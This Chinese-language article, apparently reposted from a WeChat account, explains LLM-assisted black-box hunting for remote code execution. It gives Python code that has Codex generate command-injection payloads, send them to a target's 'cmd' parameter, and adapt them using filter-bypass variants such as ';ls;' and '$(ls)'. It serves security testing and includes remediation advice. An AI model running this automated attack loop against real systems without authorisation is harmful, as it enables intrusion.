远程代码执行(Remote Code Execution,RCE)漏洞是最危险的网络安全漏洞之一,攻击者可以通过此类漏洞远程执行任意代码,进而控制目标系统。由于RCE漏洞的危害性极大,因此发现和修复这些漏洞是网络安全领域的重要任务。传统的漏洞挖掘方法依赖于手动渗透测试和静态分析,效率较低且依赖于安全专家的经验。近年来,大语言模型(LLM)技术,尤其是如OpenAI Codex等模型的出现,为自动化漏洞挖掘提供了新的思路和方法。
黑盒漏洞挖掘
黑盒测试(Black-box Testing)是一种不依赖于目标系统内部实现的测试方法,测试人员仅通过外部接口与系统交互,模拟攻击者的行为来发现潜在漏洞。黑盒漏洞挖掘通常依赖于输入数据生成(如恶意HTTP请求、文件上传等),并通过系统的响应来判断是否存在漏洞。
在RCE漏洞的黑盒挖掘中,攻击者通过提交恶意输入数据(如构造恶意文件上传、注入恶意命令等)来测试系统是否能被远程控制。由于黑盒测试不依赖系统的源代码,因此它能够模拟真实攻击者的攻击方式,评估系统的安全性。
大模型(LLM)在黑盒RCE漏洞挖掘应用
在黑盒漏洞挖掘中,LLM可以自动化生成恶意请求,模拟攻击者行为,检验系统是否能够正确处理这些输入。LLM不仅可以生成常见的攻击payload(如SQL注入、XSS、RCE等),还能够根据目标系统的特征动态调整攻击策略。
技术实现
-
使用LLM生成恶意payload:LLM根据目标应用的接口或功能生成攻击payload。例如,在Web应用中,LLM可以生成恶意的HTTP请求,包含命令注入、文件上传、路径遍历等攻击。
-
自动化测试:LLM与目标系统进行交互,自动化提交请求,分析系统的响应。如果系统的响应表明存在异常行为(如执行了注入的命令),则判定为存在漏洞。
-
智能化反馈:LLM能够根据系统响应分析攻击效果,进一步调整生成的payload,优化漏洞检测的准确性。
代码实现
假设目标系统提供一个cmd
参数,攻击者可以通过该参数执行任意系统命令。我们将通过LLM生成一个命令注入payload,并尝试触发RCE漏洞。
import openai
import requests
# 设置OpenAI API密钥
openai.api_key = "your-api-key"
# 目标URL
target_url = "http://example.com/api/execute_command"
# 目标API接口描述
api_description = """
这是一个API接口,允许用户通过'cmd'参数执行系统命令。用户输入的命令没有进行任何过滤。请分析此接口是否存在RCE漏洞,并生成攻击payload。
"""
# 使用LLM生成攻击payload
def generate_payload(api_description):
prompt = f"""
根据以下API接口描述,生成恶意输入或者攻击payload:
{api_description}
攻击目标是远程命令执行(RCE),请生成一个可以执行'ls'命令并返回结果的payload。
"""
response = openai.Completion.create(
model="code-davinci-002", # 使用Codex模型进行生成
prompt=prompt,
max_tokens=150,
temperature=0.7
)
payload = response.choices[0].text.strip()
return payload
# 发起攻击并测试RCE漏洞
def test_rce_vulnerability(target_url, api_description):
payload = generate_payload(api_description)
params = {"cmd": payload}
try:
response = requests.get(target_url, params=params)
if response.status_code == 200:
print(f"请求成功,正在分析响应:{response.text}")
# 使用LLM分析响应
analyze_response_for_rce(response.text)
else:
print("未发现RCE漏洞")
except requests.exceptions.RequestException as e:
print(f"请求失败:{e}")
# 使用LLM分析响应并判断是否存在RCE
def analyze_response_for_rce(response_text):
prompt = f"""
下面是目标系统的响应内容,请分析是否存在RCE漏洞:
{response_text}
如果存在RCE漏洞,请说明漏洞原因,并提供修复建议。
"""
response = openai.Completion.create(
model="code-davinci-002", # 使用Codex模型进行分析
prompt=prompt,
max_tokens=200,
temperature=0.5
)
analysis_result = response.choices[0].text.strip()
print("LLM分析结果:")
print(analysis_result)
# 运行测试
test_rce_vulnerability(target_url, api_description)
代码阐述
-
generate_payload()
:通过LLM根据接口描述生成恶意的cmd
参数值(例如,执行ls
命令)。LLM会根据目标接口的特点(如命令执行接口)生成特定的攻击payload。 -
test_rce_vulnerability()
:通过HTTP GET请求发送包含恶意payload的cmd
参数,并获取目标系统的响应。 -
analyze_response_for_rce()
:使用LLM对系统的响应内容进行分析,判断是否存在远程代码执行(RCE)漏洞。如果响应中包含命令输出或异常信息(如ls
命令的输出),则说明可能存在RCE漏洞。
实战示例
假设我们给定一个目标系统,其中cmd
参数未进行验证。目标系统在接受到如下请求时会执行传入的命令:
GET http://example.com/api/execute_command?cmd=ls
如果系统返回类似ls
命令的目录列表,则表明目标系统存在RCE漏洞。LLM将通过分析返回的文本(如返回的目录列表或错误信息)来得出是否存在漏洞的结论。
例如,假设响应是:
bin boot etc home lib lib64 opt root sbin usr
LLM的分析结果可能是:
LLM分析结果:
该响应表明命令'ls'被成功执行,系统可能存在远程命令执行(RCE)漏洞。攻击者可以利用此漏洞执行任意命令,造成严重安全风险。建议修复方法:对'cmd'参数进行严格的输入验证,防止用户输入恶意命令。
自适应攻击和反馈机制
LLM不仅能够生成初步的攻击payload,还能够根据系统的反馈(如响应内容、错误信息等)调整攻击策略。例如,如果初次攻击没有成功,LLM可以调整payload,尝试其他命令或输入,直到触发漏洞或找到更有效的攻击方式。
示例:自适应攻击
假设目标系统返回错误信息而不是预期的命令输出
Error: command not found
LLM可以分析错误信息并提出调整策略,生成更有针对性的payload,避免简单的命令注入攻击。
def adjust_payload_based_on_feedback(response_text):
prompt = f"""
目标系统返回以下错误信息:{response_text}
请分析此错误并生成新的攻击payload,以尝试绕过错误并触发RCE漏洞。
"""
response = openai.Completion.create(
model="code-davinci-002", # 使用Codex模型进行分析
prompt=prompt,
max_tokens=150,
temperature=0.7
)
adjusted_payload = response.choices[0].text.strip()
print("LLM调整后的攻击payload:", adjusted_payload)
return adjusted_payload
改进点与完善逻辑
1. 自适应攻击
-
初始攻击策略是通过
generate_payload
函数生成简单的攻击payload,如cmd=ls
。 -
如果攻击失败或系统未返回预期结果,脚本会调用
adjust_payload_based_on_feedback
,让LLM根据反馈调整攻击策略。 例如: -
初始命令未被解析:调整为
cmd=$(ls)
或cmd=;ls;
。 -
如果需要绕过简单的输入过滤:调整为混淆payload或加入URL编码。
2. LLM响应分析
-
通过
analyze_response_for_rce
函数,LLM会从目标系统的HTTP响应中提取关键信息,例如: -
是否包含命令的输出(如文件列表、路径信息等)。
-
是否返回错误提示,表明命令未被正确解析。
-
如果LLM判断系统可能存在漏洞,则返回成功的结论。
3. 迭代优化
-
脚本设计了最大尝试次数(如5次),每次都会基于前次响应调整攻击策略,避免单一的攻击模式。
-
通过自适应机制,能够模拟攻击者的多次尝试行为,提高漏洞检测的成功率。
4. 执行流程
-
调用LLM生成初始payload。
-
通过HTTP请求向目标系统发送payload。
-
分析响应:
-
如果检测到漏洞,则终止并输出结果。
-
如果未检测到漏洞,则基于响应调整payload。
-
重复上述步骤,直到发现漏洞或尝试次数用尽。
运行结果示例
成功触发漏洞:
[尝试第 1 次] 使用payload: ls
响应状态码: 200
响应内容: bin boot etc home lib lib64
LLM分析结果:
该响应表明命令'ls'被成功执行,系统存在远程命令执行(RCE)漏洞。
建议修复方法:对'cmd'参数进行严格输入验证,或使用白名单限制可执行的命令。
检测到RCE漏洞!
失败后调整策略:
[尝试第 1 次] 使用payload: ls
响应状态码: 200
响应内容: Error: command not found
未检测到漏洞,尝试调整攻击策略...
调整后的payload: ;ls;
[尝试第 2 次] 使用payload: ;ls;
响应状态码: 200
响应内容: bin boot etc home
LLM分析结果:
该响应表明命令'ls'被成功执行,系统存在远程命令执行(RCE)漏洞。
检测到RCE漏洞!
原文始发于微信公众号(暴暴的皮卡丘):基于大模型(LLM)的黑盒RCE漏洞挖掘
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